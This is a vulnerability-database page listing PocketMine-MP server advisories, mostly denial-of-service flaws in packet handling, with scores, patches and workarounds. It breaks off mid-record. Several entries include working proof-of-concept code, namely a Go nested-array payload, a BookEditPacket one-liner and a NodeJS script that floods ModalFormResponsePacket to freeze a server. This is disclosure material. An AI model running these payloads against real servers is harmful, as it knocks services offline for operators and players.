Lookup for vulnerable packages by Package URL.

Purlpkg:composer/pocketmine/pocketmine-mp@5.3.2
Typecomposer
Namespacepocketmine
Namepocketmine-mp
Version5.3.2
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version5.42.1
Latest_non_vulnerable_version5.42.1
Affected_by_vulnerabilities
0
url VCID-2nw8-b6nt-c7gd
vulnerability_id VCID-2nw8-b6nt-c7gd
summary
PocketMine-MP: LogDoS by large complex unknown property logging in clientData in LoginPacket
### Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft `LoginPacket`, causing the server to generate very long log messages.
Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

### PoC
1. Connect to the server using a custom client.

2. Send a Minecraft `LoginPacket` containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the `warnUndefinedJsonPropertyHandler`, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

```
A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A
 ```

### Patches
The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant `var_export` and limiting the length of the logged property name to 80 characters.

### Workarounds
Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L288-L302
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L288-L302
2
reference_url https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L333-L349
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L333-L349
3
reference_url https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0
4
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6rj-3m53-887h
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6rj-3m53-887h
5
reference_url https://github.com/advisories/GHSA-h6rj-3m53-887h
reference_id GHSA-h6rj-3m53-887h
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h6rj-3m53-887h
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.41.1
purl pkg:composer/pocketmine/pocketmine-mp@5.41.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-r3zq-cv2v-sfgp
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.41.1
aliases GHSA-h6rj-3m53-887h
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-2nw8-b6nt-c7gd
1
url VCID-4mz7-4k37-kked
vulnerability_id VCID-4mz7-4k37-kked
summary
PocketMine-MP BookEditPacket crash when inventory slot in the packet is invalid
### Summary
If a client sends a BookEditPacket with InventorySlot greater than 35, the server will crash due to an unhandled exception thrown by `BaseInventory->getItem()`.

### Details
Crashes at https://github.com/pmmp/PocketMine-MP/blob/b744e09352a714d89220719ab6948a010ac636fc/src/network/mcpe/handler/InGamePacketHandler.php#L873

### PoC
Using Gophertunnel, use `serverConn.WritePacket(&packet.BookEdit{InventorySlot: 36})`

### Impact
Server crash, all servers

### Patched versions
This issue was fixed by 47f011966092f275cc1b11f8de635e89fd9651a7, and the fix was released in 5.11.2.
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/blob/b744e09352a714d89220719ab6948a010ac636fc/src/network/mcpe/handler/InGamePacketHandler.php#L873
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/blob/b744e09352a714d89220719ab6948a010ac636fc/src/network/mcpe/handler/InGamePacketHandler.php#L873
2
reference_url https://github.com/pmmp/PocketMine-MP/commit/47f011966092f275cc1b11f8de635e89fd9651a7
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/47f011966092f275cc1b11f8de635e89fd9651a7
3
reference_url https://github.com/advisories/GHSA-xc7j-wj36-qjfr
reference_id GHSA-xc7j-wj36-qjfr
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xc7j-wj36-qjfr
4
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xc7j-wj36-qjfr
reference_id GHSA-xc7j-wj36-qjfr
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xc7j-wj36-qjfr
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.11.2
purl pkg:composer/pocketmine/pocketmine-mp@5.11.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-cwvj-sb99-cqa9
2
vulnerability VCID-hdq8-fgbq-13ap
3
vulnerability VCID-r3zq-cv2v-sfgp
4
vulnerability VCID-sh7j-krs8-p7cy
5
vulnerability VCID-ummq-syfw-hqcg
6
vulnerability VCID-y2zs-37kv-skak
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.11.2
aliases GHSA-xc7j-wj36-qjfr
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4mz7-4k37-kked
2
url VCID-8xm5-mwnv-hbca
vulnerability_id VCID-8xm5-mwnv-hbca
summary
PocketMine-MP server crash with certain invalid JSON payloads in `LoginPacket` due to dependency vulnerability (3rd time)
### Impact
An attacker could crash the server by sending malformed JWT JSON in LoginPacket due to a security vulnerability in [netresearch/jsonmapper](https://github.com/cweiske/JsonMapper), due to attempting to construct objects from scalar types by default without any validation, with unexpected results that caused PocketMine-MP to crash.

Due to the relatively high number of security issues arising from this specific dependency, the team is exploring options to replace it.

### Patches
In the meantime, the issue was fixed by pmmp/netresearch-jsonmapper@b96a209f9e8b76b899a0d0918493cd87eb3c02a7 and 6872661fd03649cc7a8762c41c16e9ee5a4de1c9.

### Workarounds
Detecting the malicious data that triggers this issue is of rather high difficulty, so it's not likely that a plugin would be able to easily remediate this.

### References
https://github.com/cweiske/jsonmapper/issues/226
references
0
reference_url https://github.com/cweiske/jsonmapper/issues/226
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/cweiske/jsonmapper/issues/226
1
reference_url https://github.com/cweiske/jsonmapper/pull/225
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/cweiske/jsonmapper/pull/225
2
reference_url https://github.com/pmmp/netresearch-jsonmapper/commit/b96a209f9e8b76b899a0d0918493cd87eb3c02a7
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/netresearch-jsonmapper/commit/b96a209f9e8b76b899a0d0918493cd87eb3c02a7
3
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
4
reference_url https://github.com/pmmp/PocketMine-MP/commit/6872661fd03649cc7a8762c41c16e9ee5a4de1c9
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/6872661fd03649cc7a8762c41c16e9ee5a4de1c9
5
reference_url https://github.com/advisories/GHSA-h6j3-j35f-v2x7
reference_id GHSA-h6j3-j35f-v2x7
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h6j3-j35f-v2x7
6
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6j3-j35f-v2x7
reference_id GHSA-h6j3-j35f-v2x7
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6j3-j35f-v2x7
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.11.1
purl pkg:composer/pocketmine/pocketmine-mp@5.11.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-4mz7-4k37-kked
2
vulnerability VCID-cwvj-sb99-cqa9
3
vulnerability VCID-hdq8-fgbq-13ap
4
vulnerability VCID-r3zq-cv2v-sfgp
5
vulnerability VCID-sh7j-krs8-p7cy
6
vulnerability VCID-ummq-syfw-hqcg
7
vulnerability VCID-y2zs-37kv-skak
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.11.1
aliases GHSA-h6j3-j35f-v2x7
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8xm5-mwnv-hbca
3
url VCID-cwvj-sb99-cqa9
vulnerability_id VCID-cwvj-sb99-cqa9
summary
PocketMine-MP allows malicious client data to waste server resources due to lack of limits for explode()
Due to lack of limits by default in the [`explode()`](https://www.php.net/manual/en/function.explode.php) function, malicious clients were able to abuse some packets to waste server CPU and memory.

This is similar to a previous security issue published in https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672, but with a wider impact, including but not limited to:

- Sign editing
- LoginPacket JWT parsing
- Command parsing

However, the estimated impact of these issues is low, due to other limits such as the packet decompression limit.
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/commit/d0d84d4c5195fb0a68ea7725424fda63b85cd831
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/d0d84d4c5195fb0a68ea7725424fda63b85cd831
2
reference_url https://github.com/advisories/GHSA-g274-c6jj-h78p
reference_id GHSA-g274-c6jj-h78p
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-g274-c6jj-h78p
3
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g274-c6jj-h78p
reference_id GHSA-g274-c6jj-h78p
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g274-c6jj-h78p
4
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672
reference_id GHSA-gj94-v4p9-w672
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.25.2
purl pkg:composer/pocketmine/pocketmine-mp@5.25.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-hdq8-fgbq-13ap
2
vulnerability VCID-r3zq-cv2v-sfgp
3
vulnerability VCID-sh7j-krs8-p7cy
4
vulnerability VCID-ummq-syfw-hqcg
5
vulnerability VCID-y2zs-37kv-skak
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.25.2
aliases GHSA-g274-c6jj-h78p
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-cwvj-sb99-cqa9
4
url VCID-hdq8-fgbq-13ap
vulnerability_id VCID-hdq8-fgbq-13ap
summary
PocketMine-MP: Network amplification vulnerability with `ActorEventPacket`
### Impact
The server handles `ActorEventPacket` to trigger consuming animations from vanilla clients when they eat food or drink potions.

This can be abused to make the server spam other clients, and to waste server CPU and memory. For every `ActorEventPacket` sent by the client, an animation event will be sent to every other player the attacker is visible to.

This is similar to various other vulnerabilities which were fixed in the network overhaul of PM4 (e.g. `AnimatePacket` and `LevelSoundEventPacket`), but somehow this one slipped through the net.

### Patches
The problem was addressed in aeea1150a772a005b92bd418366f1b7cf1a91ab5 by changing the mechanism for consuming animations to be fully controlled by the server. `ActorEventPacket` from the client is now discarded.

### Workarounds
A plugin could use `DataPacketDecodeEvent` to rate-limit `ActorEventPacket` to prevent the attack.
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/commit/aeea1150a772a005b92bd418366f1b7cf1a91ab5
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/aeea1150a772a005b92bd418366f1b7cf1a91ab5
2
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-7hmv-4j2j-pp6f
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-7hmv-4j2j-pp6f
3
reference_url https://github.com/advisories/GHSA-7hmv-4j2j-pp6f
reference_id GHSA-7hmv-4j2j-pp6f
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-7hmv-4j2j-pp6f
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.39.2
purl pkg:composer/pocketmine/pocketmine-mp@5.39.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-r3zq-cv2v-sfgp
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.39.2
aliases GHSA-7hmv-4j2j-pp6f
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-hdq8-fgbq-13ap
5
url VCID-r3zq-cv2v-sfgp
vulnerability_id VCID-r3zq-cv2v-sfgp
summary
PocketMine-MP has LogDoS by many junk properties in client data JWT in LoginPacket
### Impact

Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

### Patches

This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.

### Workarounds
Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).

### References
Affected code:

https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303
https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303
2
reference_url https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350
3
reference_url https://github.com/pmmp/PocketMine-MP/commit/c1d4a813fb8c21bfd8b9affd040da864b794df71
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/c1d4a813fb8c21bfd8b9affd040da864b794df71
4
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xp4f-g2cm-rhg7
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xp4f-g2cm-rhg7
5
reference_url https://github.com/advisories/GHSA-xp4f-g2cm-rhg7
reference_id GHSA-xp4f-g2cm-rhg7
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xp4f-g2cm-rhg7
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.42.1
purl pkg:composer/pocketmine/pocketmine-mp@5.42.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.42.1
aliases GHSA-xp4f-g2cm-rhg7
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-r3zq-cv2v-sfgp
6
url VCID-sh7j-krs8-p7cy
vulnerability_id VCID-sh7j-krs8-p7cy
summary
PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling
### Impact

The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

### Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

### Workarounds
This issue can be worked around in a plugin using `DataPacketReceiveEvent` by:
- checking the max size of the `formData` field
- making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.

### PoC

1. Join a PocketMine-MP server as a regular player (no special permissions needed).
2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:

   * Any non-existent `formId`
   * `formData` containing a massive JSON array (e.g., 10+ MB payload).
3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

```javascript
import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});
```
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877
2
reference_url https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5
3
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff
reference_id
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 7.1
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff
4
reference_url https://github.com/advisories/GHSA-788v-5pfp-93ff
reference_id GHSA-788v-5pfp-93ff
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-788v-5pfp-93ff
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.39.2
purl pkg:composer/pocketmine/pocketmine-mp@5.39.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-r3zq-cv2v-sfgp
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.39.2
aliases GHSA-788v-5pfp-93ff
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-sh7j-krs8-p7cy
7
url VCID-ummq-syfw-hqcg
vulnerability_id VCID-ummq-syfw-hqcg
summary
PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking
A denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.
PocketMine-MP processes the `packIds` array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: **High** — Remote DoS from an authenticated client.

---
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a
2
reference_url https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
